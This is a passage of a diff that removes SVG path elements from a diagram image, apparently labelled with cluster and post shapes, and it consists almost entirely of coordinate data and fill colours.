C395.008438,479.513095 394.695938,480.336012 394.070938,481.013095 C393.456354,481.690178 392.336563,482.02872 390.711563,482.02872 L387.774063,482.02872 L387.774063,486.68497 L386.258438,486.68497 Z M387.774063,480.669345 L390.742813,480.669345 C391.721979,480.669345 392.414688,480.487053 392.820938,480.12247 C393.237604,479.757887 393.445938,479.24747 393.445938,478.59122 C393.445938,478.112053 393.320938,477.700595 393.070938,477.356845 C392.831354,477.013095 392.513646,476.789137 392.117813,476.68497 C391.867813,476.612053 391.399063,476.575595 390.711563,476.575595 L387.774063,476.575595 L387.774063,480.669345 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M282.16272,457.5403 L282.16272,457.5403 C282.16272,453.733659 285.248627,450.647783 289.055268,450.647783 L338.766268,450.647783 C340.59427,450.647783 342.347414,451.373949 343.640017,452.666551 C344.932619,453.959154 345.658785,455.712297 345.658785,457.5403 L345.658785,485.109575 C345.658785,488.916216 342.572908,492.002123 338.766268,492.002123 L289.055268,492.002123 C285.248627,492.002123 282.16272,488.916216 282.16272,485.109575 L282.16272,457.5403 Z" id="Path" fill="#FEC514"></path>
-                <path d="M295.85217,470.87247 L295.85217,459.388095 L297.13342,459.388095 L297.13342,460.46622 C297.435503,460.039137 297.774045,459.721428 298.149045,459.513095 C298.534462,459.304762 298.998003,459.200595 299.53967,459.200595 C300.248003,459.200595 300.873003,459.382887 301.41467,459.74747 C301.956337,460.112053 302.362587,460.627678 302.63342,461.294345 C302.91467,461.950595 303.055295,462.674553 303.055295,463.46622 C303.055295,464.320387 302.899045,465.086012 302.586545,465.763095 C302.284462,466.440178 301.841753,466.961012 301.25842,467.325595 C300.685503,467.690178 300.076128,467.87247 299.430295,467.87247 C298.961545,467.87247 298.53967,467.773512 298.16467,467.575595 C297.800087,467.377678 297.498003,467.127678 297.25842,466.825595 L297.25842,470.87247 L295.85217,470.87247 Z M297.117795,463.575595 C297.117795,464.648512 297.331337,465.440178 297.75842,465.950595 C298.19592,466.461012 298.721962,466.71622 299.336545,466.71622 C299.961545,466.71622 300.498003,466.450595 300.94592,465.919345 C301.393837,465.388095 301.617795,464.570387 301.617795,463.46622 C301.617795,462.40372 301.399045,461.612053 300.961545,461.09122 C300.524045,460.55997 300.003212,460.294345 299.399045,460.294345 C298.805295,460.294345 298.274045,460.575595 297.805295,461.138095 C297.346962,461.700595 297.117795,462.513095 297.117795,463.575595 Z M304.219358,463.52872 C304.219358,461.99747 304.646441,460.862053 305.500608,460.12247 C306.219358,459.507887 307.089149,459.200595 308.109983,459.200595 C309.255816,459.200595 310.188108,459.575595 310.906858,460.325595 C311.636024,461.065178 312.000608,462.096428 312.000608,463.419345 C312.000608,464.481845 311.839149,465.320387 311.516233,465.93497 C311.193316,466.549553 310.724566,467.02872 310.109983,467.37247 C309.505816,467.705803 308.839149,467.87247 308.109983,467.87247 C306.953733,467.87247 306.016233,467.502678 305.297483,466.763095 C304.578733,466.013095 304.219358,464.93497 304.219358,463.52872 Z M305.672483,463.52872 C305.672483,464.59122 305.901649,465.388095 306.359983,465.919345 C306.828733,466.450595 307.412066,466.71622 308.109983,466.71622 C308.807899,466.71622 309.386024,466.450595 309.844358,465.919345 C310.313108,465.388095 310.547483,464.575595 310.547483,463.481845 C310.547483,462.461012 310.313108,461.68497 309.844358,461.15372 C309.386024,460.62247 308.807899,460.356845 308.109983,460.356845 C307.412066,460.356845 306.828733,460.62247 306.359983,461.15372 C305.901649,461.674553 305.672483,462.46622 305.672483,463.52872 Z M313.086545,465.200595 L314.47717,464.981845 C314.550087,465.544345 314.763628,465.976637 315.117795,466.27872 C315.482378,466.570387 315.982378,466.71622 316.617795,466.71622 C317.263628,466.71622 317.742795,466.586012 318.055295,466.325595 C318.367795,466.054762 318.524045,465.742262 318.524045,465.388095 C318.524045,465.075595 318.388628,464.825595 318.117795,464.638095 C317.919878,464.513095 317.440712,464.356845 316.680295,464.169345 C315.649045,463.908928 314.930295,463.68497 314.524045,463.49747 C314.128212,463.299553 313.826128,463.033928 313.617795,462.700595 C313.419878,462.367262 313.32092,461.99747 313.32092,461.59122 C313.32092,461.21622 313.404253,460.87247 313.57092,460.55997 C313.737587,460.24747 313.966753,459.987053 314.25842,459.77872 C314.47717,459.612053 314.774045,459.476637 315.149045,459.37247 C315.534462,459.257887 315.940712,459.200595 316.367795,459.200595 C317.024045,459.200595 317.596962,459.294345 318.086545,459.481845 C318.576128,459.669345 318.935503,459.924553 319.16467,460.24747 C319.404253,460.55997 319.57092,460.987053 319.66467,461.52872 L318.28967,461.71622 C318.22717,461.289137 318.044878,460.955803 317.742795,460.71622 C317.440712,460.476637 317.018837,460.356845 316.47717,460.356845 C315.831337,460.356845 315.367795,460.46622 315.086545,460.68497 C314.815712,460.893303 314.680295,461.138095 314.680295,461.419345 C314.680295,461.606845 314.737587,461.773512 314.85217,461.919345 C314.966753,462.065178 315.143837,462.190178 315.38342,462.294345 C315.529253,462.346428 315.94592,462.46622 316.63342,462.65372 C317.623003,462.914137 318.315712,463.132887 318.711545,463.30997 C319.107378,463.476637 319.41467,463.721428 319.63342,464.044345 C319.862587,464.367262 319.97717,464.768303 319.97717,465.24747 C319.97717,465.71622 319.836545,466.158928 319.555295,466.575595 C319.284462,466.981845 318.888628,467.299553 318.367795,467.52872 C317.857378,467.757887 317.279253,467.87247 316.63342,467.87247 C315.550087,467.87247 314.72717,467.648512 314.16467,467.200595 C313.60217,466.752678 313.242795,466.086012 313.086545,465.200595 Z M324.711545,466.419345 L324.91467,467.669345 C324.518837,467.752678 324.16467,467.794345 323.85217,467.794345 C323.341753,467.794345 322.94592,467.71622 322.66467,467.55997 C322.38342,467.393303 322.185503,467.179762 322.07092,466.919345 C321.956337,466.648512 321.899045,466.09122 321.899045,465.24747 L321.899045,460.481845 L320.867795,460.481845 L320.867795,459.388095 L321.899045,459.388095 L321.899045,457.325595 L323.305295,456.481845 L323.305295,459.388095 L324.711545,459.388095 L324.711545,460.481845 L323.305295,460.481845 L323.305295,465.325595 C323.305295,465.731845 323.326128,465.992262 323.367795,466.106845 C323.419878,466.221428 323.503212,466.315178 323.617795,466.388095 C323.732378,466.450595 323.893837,466.481845 324.10217,466.481845 C324.25842,466.481845 324.461545,466.461012 324.711545,466.419345 Z M325.531858,465.200595 L326.922483,464.981845 C326.995399,465.544345 327.208941,465.976637 327.563108,466.27872 C327.927691,466.570387 328.427691,466.71622 329.063108,466.71622 C329.708941,466.71622 330.188108,466.586012 330.500608,466.325595 C330.813108,466.054762 330.969358,465.742262 330.969358,465.388095 C330.969358,465.075595 330.833941,464.825595 330.563108,464.638095 C330.365191,464.513095 329.886024,464.356845 329.125608,464.169345 C328.094358,463.908928 327.375608,463.68497 326.969358,463.49747 C326.573524,463.299553 326.271441,463.033928 326.063108,462.700595 C325.865191,462.367262 325.766233,461.99747 325.766233,461.59122 C325.766233,461.21622 325.849566,460.87247 326.016233,460.55997 C326.182899,460.24747 326.412066,459.987053 326.703733,459.77872 C326.922483,459.612053 327.219358,459.476637 327.594358,459.37247 C327.979774,459.257887 328.386024,459.200595 328.813108,459.200595 C329.469358,459.200595 330.042274,459.294345 330.531858,459.481845 C331.021441,459.669345 331.380816,459.924553 331.609983,460.24747 C331.849566,460.55997 332.016233,460.987053 332.109983,461.52872 L330.734983,461.71622 C330.672483,461.289137 330.490191,460.955803 330.188108,460.71622 C329.886024,460.476637 329.464149,460.356845 328.922483,460.356845 C328.276649,460.356845 327.813108,460.46622 327.531858,460.68497 C327.261024,460.893303 327.125608,461.138095 327.125608,461.419345 C327.125608,461.606845 327.182899,461.773512 327.297483,461.919345 C327.412066,462.065178 327.589149,462.190178 327.828733,462.294345 C327.974566,462.346428 328.391233,462.46622 329.078733,462.65372 C330.068316,462.914137 330.761024,463.132887 331.156858,463.30997 C331.552691,463.476637 331.859983,463.721428 332.078733,464.044345 C332.307899,464.367262 332.422483,464.768303 332.422483,465.24747 C332.422483,465.71622 332.281858,466.158928 332.000608,466.575595 C331.729774,466.981845 331.333941,467.299553 330.813108,467.52872 C330.302691,467.757887 329.724566,467.87247 329.078733,467.87247 C327.995399,467.87247 327.172483,467.648512 326.609983,467.200595 C326.047483,466.752678 325.688108,466.086012 325.531858,465.200595 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M312.1881,485.3256 L312.1881,486.684975 L304.609975,486.684975 C304.599558,486.341225 304.65685,486.0131 304.78185,485.7006 C304.96935,485.190183 305.276642,484.684975 305.703725,484.184975 C306.130808,483.684975 306.745392,483.10685 307.547475,482.4506 C308.787058,481.429767 309.6256,480.622475 310.0631,480.028725 C310.5006,479.424558 310.71935,478.85685 310.71935,478.3256 C310.71935,477.773517 310.521433,477.304767 310.1256,476.91935 C309.729767,476.533933 309.208933,476.341225 308.5631,476.341225 C307.886017,476.341225 307.34435,476.54435 306.9381,476.9506 C306.53185,477.35685 306.328725,477.91935 306.328725,478.6381 L304.8756,478.497475 C304.979767,477.414142 305.354767,476.591225 306.0006,476.028725 C306.646433,475.466225 307.511017,475.184975 308.59435,475.184975 C309.698517,475.184975 310.568308,475.492267 311.203725,476.10685 C311.849558,476.711017 312.172475,477.461017 312.172475,478.35685 C312.172475,478.815183 312.078725,479.268308 311.891225,479.716225 C311.703725,480.153725 311.391225,480.617267 310.953725,481.10685 C310.516225,481.596433 309.792267,482.268308 308.78185,483.122475 C307.9381,483.830808 307.396433,484.315183 307.15685,484.5756 C306.917267,484.8256 306.71935,485.0756 306.5631,485.3256 L312.1881,485.3256 Z M314.258413,486.684975 L314.258413,475.23185 L318.586538,475.23185 C319.346954,475.23185 319.925079,475.268308 320.320913,475.341225 C320.883413,475.434975 321.352163,475.612058 321.727163,475.872475 C322.112579,476.132892 322.419871,476.502683 322.649038,476.98185 C322.888621,477.4506 323.008413,477.971433 323.008413,478.54435 C323.008413,479.5131 322.695913,480.336017 322.070913,481.0131 C321.456329,481.690183 320.336538,482.028725 318.711538,482.028725 L315.774038,482.028725 L315.774038,486.684975 L314.258413,486.684975 Z M315.774038,480.66935 L318.742788,480.66935 C319.721954,480.66935 320.414663,480.487058 320.820913,480.122475 C321.237579,479.757892 321.445913,479.247475 321.445913,478.591225 C321.445913,478.112058 321.320913,477.7006 321.070913,477.35685 C320.831329,477.0131 320.513621,476.789142 320.117788,476.684975 C319.867788,476.612058 319.399038,476.5756 318.711538,476.5756 L315.774038,476.5756 L315.774038,480.66935 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M520.695394,207.9581 L520.695394,207.9581 C520.695394,130.00333 585.370876,66.8085 665.15213,66.8085 L665.15213,66.8085 C703.464447,66.8085 740.20755,81.6795785 767.29843,108.150266 C794.389311,134.620946 809.608794,170.522909 809.608794,207.958106 L809.608794,207.958106 C809.608794,285.912876 744.933318,349.107706 665.152124,349.107706 L665.152124,349.107706 C585.370874,349.107706 520.695394,285.912882 520.695394,207.958106 L520.695394,207.9581 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M520.695394,207.9581 L520.695394,207.9581 C520.695394,130.00333 585.370876,66.8085 665.15213,66.8085 L665.15213,66.8085 C703.464447,66.8085 740.20755,81.6795785 767.29843,108.150266 C794.389311,134.620946 809.608794,170.522909 809.608794,207.958106 L809.608794,207.958106 C809.608794,285.912876 744.933318,349.107706 665.152124,349.107706 L665.152124,349.107706 C585.370874,349.107706 520.695394,285.912882 520.695394,207.958106 L520.695394,207.9581 Z" id="Path" stroke="#434753" stroke-linejoin="round" stroke-dasharray="8,3"></path>
-                <polygon id="Path" fill-opacity="0" fill="#000000" points="570.9633 75.83976 759.34123 75.83976 759.34123 116.28071 570.9633 116.28071"></polygon>
-                <path d="M621.1676,102.94726 C619.719683,102.94726 618.599892,102.504552 617.808225,101.619135 C617.016558,100.723302 616.620725,99.462885 616.620725,97.837885 C616.620725,96.1608017 617.021767,94.869135 617.82385,93.962885 C618.63635,93.0462183 619.782183,92.587885 621.26135,92.587885 C621.740517,92.587885 622.219683,92.6399683 622.69885,92.744135 C623.188433,92.8483017 623.568642,92.9733017 623.839475,93.119135 L623.370725,94.400385 C623.037392,94.2649683 622.672808,94.1555933 622.276975,94.07226 C621.881142,93.97851 621.532183,93.931635 621.2301,93.931635 C619.19885,93.931635 618.183225,95.2233017 618.183225,97.806635 C618.183225,99.0358017 618.428017,99.97851 618.9176,100.63476 C619.4176,101.29101 620.157183,101.619135 621.13635,101.619135 C621.969683,101.619135 622.818642,101.442052 623.683225,101.087885 L623.683225,102.41601 C623.016558,102.770177 622.178017,102.94726 621.1676,102.94726 Z M627.565,102.75976 L626.065,102.75976 L626.065,88.587885 L627.565,88.587885 L627.565,102.75976 Z M632.205564,92.775385 L632.205564,99.25976 C632.205564,100.07226 632.387856,100.681635 632.752439,101.087885 C633.127439,101.483718 633.705564,101.681635 634.486814,101.681635 C635.538897,101.681635 636.304522,101.395177 636.783689,100.82226 C637.262856,100.249343 637.502439,99.3170517 637.502439,98.025385 L637.502439,92.775385 L639.018064,92.775385 L639.018064,102.75976 L637.768064,102.75976 L637.549314,101.41601 L637.471189,101.41601 C637.158689,101.91601 636.726397,102.296218 636.174314,102.556635 C635.632647,102.817052 635.007647,102.94726 634.299314,102.94726 C633.090981,102.94726 632.184731,102.660802 631.580564,102.087885 C630.976397,101.504552 630.674314,100.577468 630.674314,99.306635 L630.674314,92.775385 L632.205564,92.775385 Z M648.671873,100.04101 C648.671873,100.968093 648.322915,101.686843 647.624998,102.19726 C646.937498,102.69726 645.968748,102.94726 644.718748,102.94726 C643.395831,102.94726 642.364581,102.733718 641.624998,102.306635 L641.624998,100.91601 C642.104165,101.155593 642.614581,101.348302 643.156248,101.494135 C643.708331,101.629552 644.239581,101.69726 644.749998,101.69726 C645.541665,101.69726 646.15104,101.57226 646.578123,101.32226 C647.005206,101.061843 647.218748,100.676427 647.218748,100.16601 C647.218748,99.7805933 647.046873,99.44726 646.703123,99.16601 C646.36979,98.88476 645.71354,98.556635 644.734373,98.181635 C643.80729,97.837885 643.145831,97.54101 642.749998,97.29101 C642.364581,97.0305933 642.072915,96.7389267 641.874998,96.41601 C641.687498,96.0826767 641.593748,95.6868433 641.593748,95.22851 C641.593748,94.41601 641.921873,93.775385 642.578123,93.306635 C643.24479,92.8274683 644.156248,92.587885 645.312498,92.587885 C646.385415,92.587885 647.43229,92.806635 648.453123,93.244135 L647.921873,94.47851 C646.921873,94.0618433 646.015623,93.85351 645.203123,93.85351 C644.484373,93.85351 643.942706,93.9680933 643.578123,94.19726 C643.21354,94.4264267 643.031248,94.7337183 643.031248,95.119135 C643.031248,95.3899683 643.098956,95.619135 643.234373,95.806635 C643.36979,95.994135 643.58854,96.1764267 643.890623,96.35351 C644.192706,96.5201767 644.77604,96.7649683 645.640623,97.087885 C646.828123,97.5149683 647.630206,97.94726 648.046873,98.38476 C648.46354,98.82226 648.671873,99.3743433 648.671873,100.04101 Z M654.353086,101.69726 C654.62392,101.69726 654.879128,101.676427 655.118711,101.63476 C655.368711,101.593093 655.566628,101.551427 655.712461,101.50976 L655.712461,102.66601 C655.556211,102.749343 655.316628,102.817052 654.993711,102.869135 C654.670795,102.921218 654.384336,102.94726 654.134336,102.94726 C652.207253,102.94726 651.243711,101.926427 651.243711,99.88476 L651.243711,93.94726 L649.806211,93.94726 L649.806211,93.22851 L651.243711,92.587885 L651.868711,90.462885 L652.743711,90.462885 L652.743711,92.775385 L655.649961,92.775385 L655.649961,93.94726 L652.743711,93.94726 L652.743711,99.82226 C652.743711,100.426427 652.884336,100.889968 653.165586,101.212885 C653.457253,101.535802 653.853086,101.69726 654.353086,101.69726 Z M661.939268,102.94726 C660.460101,102.94726 659.293435,102.499343 658.439268,101.60351 C657.585101,100.69726 657.158018,99.44726 657.158018,97.85351 C657.158018,96.2389267 657.553851,94.9576767 658.345518,94.00976 C659.137185,93.0618433 660.199685,92.587885 661.533018,92.587885 C662.793435,92.587885 663.783018,92.9993433 664.501768,93.82226 C665.230935,94.6451767 665.595518,95.7337183 665.595518,97.087885 L665.595518,98.04101 L658.720518,98.04101 C658.751768,99.2180933 659.048643,100.108718 659.611143,100.712885 C660.173643,101.317052 660.96531,101.619135 661.986143,101.619135 C663.05906,101.619135 664.12156,101.395177 665.173643,100.94726 L665.173643,102.29101 C664.642393,102.520177 664.137185,102.686843 663.658018,102.79101 C663.178851,102.895177 662.605935,102.94726 661.939268,102.94726 Z M661.517393,93.85351 C660.71531,93.85351 660.074685,94.119135 659.595518,94.650385 C659.126768,95.1712183 658.850726,95.8899683 658.767393,96.806635 L663.986143,96.806635 C663.986143,95.8587183 663.772601,95.1295517 663.345518,94.619135 C662.918435,94.1087183 662.30906,93.85351 661.517393,93.85351 Z M672.73419,92.587885 C673.182107,92.587885 673.57794,92.6243433 673.92169,92.69726 L673.718565,94.10351 C673.301898,94.00976 672.937315,93.962885 672.624815,93.962885 C671.822732,93.962885 671.130023,94.29101 670.54669,94.94726 C669.973773,95.60351 669.687315,96.4212183 669.687315,97.400385 L669.687315,102.75976 L668.187315,102.75976 L668.187315,92.775385 L669.42169,92.775385 L669.60919,94.619135 L669.67169,94.619135 C670.04669,93.9733017 670.494607,93.4733017 671.01544,93.119135 C671.536273,92.7649683 672.10919,92.587885 672.73419,92.587885 Z M675.584105,101.79101 C675.584105,101.38476 675.672646,101.077468 675.84973,100.869135 C676.03723,100.660802 676.302855,100.556635 676.646605,100.556635 C677.000771,100.556635 677.276813,100.660802 677.47473,100.869135 C677.672646,101.077468 677.771605,101.38476 677.771605,101.79101 C677.771605,102.186843 677.672646,102.494135 677.47473,102.712885 C677.276813,102.921218 677.000771,103.025385 676.646605,103.025385 C676.344521,103.025385 676.089313,102.931635 675.88098,102.744135 C675.683063,102.546218 675.584105,102.22851 675.584105,101.79101 Z M675.584105,93.744135 C675.584105,92.931635 675.938271,92.525385 676.646605,92.525385 C677.396605,92.525385 677.771605,92.931635 677.771605,93.744135 C677.771605,94.1399683 677.672646,94.44726 677.47473,94.66601 C677.276813,94.8743433 677.000771,94.97851 676.646605,94.97851 C676.344521,94.97851 676.089313,94.88476 675.88098,94.69726 C675.683063,94.4993433 675.584105,94.181635 675.584105,93.744135 Z M687.035643,92.775385 L687.035643,99.25976 C687.035643,100.07226 687.217934,100.681635 687.582518,101.087885 C687.957518,101.483718 688.535643,101.681635 689.316893,101.681635 C690.368976,101.681635 691.134601,101.395177 691.613768,100.82226 C692.092934,100.249343 692.332518,99.3170517 692.332518,98.025385 L692.332518,92.775385 L693.848143,92.775385 L693.848143,102.75976 L692.598143,102.75976 L692.379393,101.41601 L692.301268,101.41601 C691.988768,101.91601 691.556476,102.296218 691.004393,102.556635 C690.462726,102.817052 689.837726,102.94726 689.129393,102.94726 C687.921059,102.94726 687.014809,102.660802 686.410643,102.087885 C685.806476,101.504552 685.504393,100.577468 685.504393,99.306635 L685.504393,92.775385 L687.035643,92.775385 Z M703.501891,100.04101 C703.501891,100.968093 703.152932,101.686843 702.455016,102.19726 C701.767516,102.69726 700.798766,102.94726 699.548766,102.94726 C698.225849,102.94726 697.194599,102.733718 696.455016,102.306635 L696.455016,100.91601 C696.934182,101.155593 697.444599,101.348302 697.986266,101.494135 C698.538349,101.629552 699.069599,101.69726 699.580016,101.69726 C700.371682,101.69726 700.981057,101.57226 701.408141,101.32226 C701.835224,101.061843 702.048766,100.676427 702.048766,100.16601 C702.048766,99.7805933 701.876891,99.44726 701.533141,99.16601 C701.199807,98.88476 700.543557,98.556635 699.564391,98.181635 C698.637307,97.837885 697.975849,97.54101 697.580016,97.29101 C697.194599,97.0305933 696.902932,96.7389267 696.705016,96.41601 C696.517516,96.0826767 696.423766,95.6868433 696.423766,95.22851 C696.423766,94.41601 696.751891,93.775385 697.408141,93.306635 C698.074807,92.8274683 698.986266,92.587885 700.142516,92.587885 C701.215432,92.587885 702.262307,92.806635 703.283141,93.244135 L702.751891,94.47851 C701.751891,94.0618433 700.845641,93.85351 700.033141,93.85351 C699.314391,93.85351 698.772724,93.9680933 698.408141,94.19726 C698.043557,94.4264267 697.861266,94.7337183 697.861266,95.119135 C697.861266,95.3899683 697.928974,95.619135 698.064391,95.806635 C698.199807,95.994135 698.418557,96.1764267 698.720641,96.35351 C699.022724,96.5201767 699.606057,96.7649683 700.470641,97.087885 C701.658141,97.5149683 702.460224,97.94726 702.876891,98.38476 C703.293557,98.82226 703.501891,99.3743433 703.501891,100.04101 Z M712.104979,102.75976 L711.792479,101.337885 L711.729979,101.337885 C711.229979,101.962885 710.729979,102.389968 710.229979,102.619135 C709.740395,102.837885 709.125812,102.94726 708.386229,102.94726 C707.396645,102.94726 706.620604,102.692052 706.058104,102.181635 C705.495604,101.671218 705.214354,100.942052 705.214354,99.994135 C705.214354,97.9837183 706.823729,96.9264267 710.042479,96.82226 L711.745604,96.775385 L711.745604,96.150385 C711.745604,95.369135 711.573729,94.79101 711.229979,94.41601 C710.896645,94.04101 710.360187,93.85351 709.620604,93.85351 C708.78727,93.85351 707.844562,94.1087183 706.792479,94.619135 L706.339354,93.462885 C706.828937,93.2024683 707.365395,92.9993433 707.948729,92.85351 C708.532062,92.69726 709.120604,92.619135 709.714354,92.619135 C710.901854,92.619135 711.782062,92.88476 712.354979,93.41601 C712.927895,93.9368433 713.214354,94.7805933 713.214354,95.94726 L713.214354,102.75976 L712.104979,102.75976 Z M708.683104,101.69726 C709.620604,101.69726 710.354979,101.442052 710.886229,100.931635 C711.427895,100.410802 711.698729,99.681635 711.698729,98.744135 L711.698729,97.85351 L710.198729,97.91601 C708.990395,97.9576767 708.120604,98.1451767 707.589354,98.47851 C707.058104,98.8014267 706.792479,99.3170517 706.792479,100.025385 C706.792479,100.567052 706.959145,100.983718 707.292479,101.275385 C707.625812,101.556635 708.089354,101.69726 708.683104,101.69726 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M587.2461,178.08994 L587.2461,178.08994 C587.2461,169.841741 593.932562,163.155263 602.180792,163.155263 L728.122442,163.155263 C732.083379,163.155263 735.882086,164.728734 738.682867,167.529531 C741.483648,170.330327 743.057135,174.129018 743.057135,178.089941 L743.057135,237.826881 C743.057135,246.07508 736.370611,252.761558 728.122443,252.761558 L602.180793,252.761558 C593.932563,252.761558 587.2461,246.07508 587.2461,237.826881 L587.2461,178.08994 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M587.2461,178.08994 L587.2461,178.08994 C587.2461,169.841741 593.932562,163.155263 602.180792,163.155263 L728.122442,163.155263 C732.083379,163.155263 735.882086,164.728734 738.682867,167.529531 C741.483648,170.330327 743.057135,174.129018 743.057135,178.089941 L743.057135,237.826881 C743.057135,246.07508 736.370611,252.761558 728.122443,252.761558 L602.180793,252.761558 C593.932563,252.761558 587.2461,246.07508 587.2461,237.826881 L587.2461,178.08994 Z" id="Path" stroke="#00BFB3" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M657.6743,194.44948 L657.6743,193.027605 C656.9243,194.121355 655.903467,194.66823 654.6118,194.66823 C654.038883,194.66823 653.502425,194.558855 653.002425,194.340105 C652.512842,194.121355 652.148258,193.845313 651.908675,193.51198 C651.669092,193.178647 651.502425,192.772397 651.408675,192.29323 C651.335758,191.98073 651.2993,191.470313 651.2993,190.76198 L651.2993,184.777605 L652.939925,184.777605 L652.939925,190.13698 C652.939925,190.991147 652.976383,191.569272 653.0493,191.871355 C653.153467,192.298438 653.372217,192.63698 653.70555,192.88698 C654.038883,193.13698 654.450342,193.26198 654.939925,193.26198 C655.429508,193.26198 655.887842,193.13698 656.314925,192.88698 C656.752425,192.626563 657.059717,192.282813 657.2368,191.85573 C657.413883,191.41823 657.502425,190.788022 657.502425,189.965105 L657.502425,184.777605 L659.14305,184.777605 L659.14305,194.44948 L657.6743,194.44948 Z M661.065657,191.558855 L662.690657,191.308855 C662.773991,191.954688 663.023991,192.454688 663.440657,192.808855 C663.857324,193.152605 664.440657,193.32448 665.190657,193.32448 C665.940657,193.32448 666.497949,193.173438 666.862532,192.871355 C667.227116,192.558855 667.409407,192.194272 667.409407,191.777605 C667.409407,191.413022 667.247949,191.121355 666.925032,190.902605 C666.706282,190.756772 666.148991,190.57448 665.253157,190.35573 C664.044824,190.04323 663.206282,189.777605 662.737532,189.558855 C662.279199,189.340105 661.930241,189.038022 661.690657,188.652605 C661.451074,188.256772 661.331282,187.819272 661.331282,187.340105 C661.331282,186.913022 661.430241,186.517188 661.628157,186.152605 C661.826074,185.777605 662.096907,185.470313 662.440657,185.23073 C662.690657,185.04323 663.034407,184.88698 663.471907,184.76198 C663.919824,184.626563 664.393782,184.558855 664.893782,184.558855 C665.654199,184.558855 666.320866,184.66823 666.893782,184.88698 C667.466699,185.10573 667.888574,185.402605 668.159407,185.777605 C668.440657,186.152605 668.633366,186.652605 668.737532,187.277605 L667.128157,187.496355 C667.055241,186.996355 666.841699,186.60573 666.487532,186.32448 C666.143782,186.04323 665.654199,185.902605 665.018782,185.902605 C664.258366,185.902605 663.716699,186.027605 663.393782,186.277605 C663.081282,186.527605 662.925032,186.819272 662.925032,187.152605 C662.925032,187.360938 662.987532,187.553647 663.112532,187.73073 C663.247949,187.907813 663.461491,188.053647 663.753157,188.16823 C663.909407,188.23073 664.388574,188.371355 665.190657,188.590105 C666.357324,188.892188 667.169824,189.142188 667.628157,189.340105 C668.086491,189.538022 668.445866,189.82448 668.706282,190.19948 C668.966699,190.57448 669.096907,191.04323 669.096907,191.60573 C669.096907,192.157813 668.935449,192.673438 668.612532,193.152605 C668.300032,193.631772 667.841699,194.006772 667.237532,194.277605 C666.633366,194.538022 665.951074,194.66823 665.190657,194.66823 C663.940657,194.66823 662.982324,194.407813 662.315657,193.88698 C661.659407,193.366147 661.242741,192.590105 661.065657,191.558855 Z M676.768782,194.44948 L675.128157,194.44948 L675.128157,183.996355 C674.732324,184.371355 674.211491,184.751563 673.565657,185.13698 C672.930241,185.51198 672.357324,185.79323 671.846907,185.98073 L671.846907,184.38698 C672.763574,183.959897 673.565657,183.439063 674.253157,182.82448 C674.940657,182.209897 675.425032,181.616147 675.706282,181.04323 L676.768782,181.04323 L676.768782,194.44948 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <path d="M669.40405,213.79884 L669.40405,213.79884 C669.40405,209.992215 672.489927,206.906323 676.296567,206.906323 L726.007567,206.906323 C727.835631,206.906323 729.588744,207.632489 730.881346,208.925091 C732.173949,210.217694 732.900145,211.970837 732.900145,213.79884 L732.900145,241.368115 C732.900145,245.174756 729.814208,248.260648 726.007567,248.260648 L676.296567,248.260648 C672.489927,248.260648 669.40405,245.174756 669.40405,241.368115 L669.40405,213.79884 Z" id="Path" fill="#FEC514"></path>
-                <path d="M683.0935,227.13098 L683.0935,215.646605 L684.37475,215.646605 L684.37475,216.72473 C684.676833,216.297647 685.015375,215.979938 685.390375,215.771605 C685.775792,215.563272 686.239333,215.459105 686.781,215.459105 C687.489333,215.459105 688.114333,215.641397 688.656,216.00598 C689.197667,216.370563 689.603917,216.886188 689.87475,217.552855 C690.156,218.209105 690.296625,218.933063 690.296625,219.72473 C690.296625,220.578897 690.140375,221.344522 689.827875,222.021605 C689.525792,222.698688 689.083083,223.219522 688.49975,223.584105 C687.926833,223.948688 687.317458,224.13098 686.671625,224.13098 C686.202875,224.13098 685.781,224.032022 685.406,223.834105 C685.041417,223.636188 684.739333,223.386188 684.49975,223.084105 L684.49975,227.13098 L683.0935,227.13098 Z M684.359125,219.834105 C684.359125,220.907022 684.572667,221.698688 684.99975,222.209105 C685.43725,222.719522 685.963292,222.97473 686.577875,222.97473 C687.202875,222.97473 687.739333,222.709105 688.18725,222.177855 C688.635167,221.646605 688.859125,220.828897 688.859125,219.72473 C688.859125,218.66223 688.640375,217.870563 688.202875,217.34973 C687.765375,216.81848 687.244542,216.552855 686.640375,216.552855 C686.046625,216.552855 685.515375,216.834105 685.046625,217.396605 C684.588292,217.959105 684.359125,218.771605 684.359125,219.834105 Z M691.460687,219.78723 C691.460687,218.25598 691.887771,217.120563 692.741937,216.38098 C693.460687,215.766397 694.330479,215.459105 695.351312,215.459105 C696.497146,215.459105 697.429437,215.834105 698.148187,216.584105 C698.877354,217.323688 699.241937,218.354938 699.241937,219.677855 C699.241937,220.740355 699.080479,221.578897 698.757562,222.19348 C698.434646,222.808063 697.965896,223.28723 697.351312,223.63098 C696.747146,223.964313 696.080479,224.13098 695.351312,224.13098 C694.195062,224.13098 693.257562,223.761188 692.538812,223.021605 C691.820062,222.271605 691.460687,221.19348 691.460687,219.78723 Z M692.913812,219.78723 C692.913812,220.84973 693.142979,221.646605 693.601312,222.177855 C694.070062,222.709105 694.653396,222.97473 695.351312,222.97473 C696.049229,222.97473 696.627354,222.709105 697.085687,222.177855 C697.554437,221.646605 697.788812,220.834105 697.788812,219.740355 C697.788812,218.719522 697.554437,217.94348 697.085687,217.41223 C696.627354,216.88098 696.049229,216.615355 695.351312,216.615355 C694.653396,216.615355 694.070062,216.88098 693.601312,217.41223 C693.142979,217.933063 692.913812,218.72473 692.913812,219.78723 Z M700.327875,221.459105 L701.7185,221.240355 C701.791417,221.802855 702.004958,222.235147 702.359125,222.53723 C702.723708,222.828897 703.223708,222.97473 703.859125,222.97473 C704.504958,222.97473 704.984125,222.844522 705.296625,222.584105 C705.609125,222.313272 705.765375,222.000772 705.765375,221.646605 C705.765375,221.334105 705.629958,221.084105 705.359125,220.896605 C705.161208,220.771605 704.682042,220.615355 703.921625,220.427855 C702.890375,220.167438 702.171625,219.94348 701.765375,219.75598 C701.369542,219.558063 701.067458,219.292438 700.859125,218.959105 C700.661208,218.625772 700.56225,218.25598 700.56225,217.84973 C700.56225,217.47473 700.645583,217.13098 